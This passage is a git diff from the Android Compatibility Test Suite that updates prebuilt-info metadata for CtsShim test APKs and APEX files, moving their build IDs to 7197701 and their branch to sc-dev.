Merge "Skip CtsNoPermissionTestCases25 tests on target watch"
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index cc4eb05..ae658b4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimPrivUpgradeWrongSHA.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
index 2c1b30b..0ec2b3f 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimPrivUpgrade.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index 8bb986a..141ae82 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimPrivUpgradeWrongSHA.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
index e28a099..0b2017c 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimPrivUpgrade.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
index 4c34b9d..779dddb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v1.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index a40d92f..65ba29a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_file.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index b16eebb..872b470 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_folder.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
index 6761a86..c372928 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index 3e4b7fd..f4fd435 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index cc692d2..06f779e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_certificate.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index 85724c3..88879d4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_package_name.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index adae35d..0009342 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_no_hashtree.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index 926c55f..6151ae3 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index 800edaa..378cbdb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index 8df4e67..48e5ed6 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index 3cf7696..52ebaf0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index 3a0383e..97f78b3 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 2c3cb4a..437ff2b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index f4326da..cc573a400 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index 0d527d1..ae0243f 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 183db3f..d043084 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_wrong_sha.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
index 4cfd096..3c67ecb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index d699a7b..3d78040 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index 4db830f..e3181b2 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
index 5c4f161..0d7a7ad 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v1.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index 58378c9..98537ce 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_file.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index d88ead5..7a3bb1f 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_additional_folder.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
index f86bd15..d2a0443 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index 3b040f2..922786e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index 31c07e1..bb924c9 100644
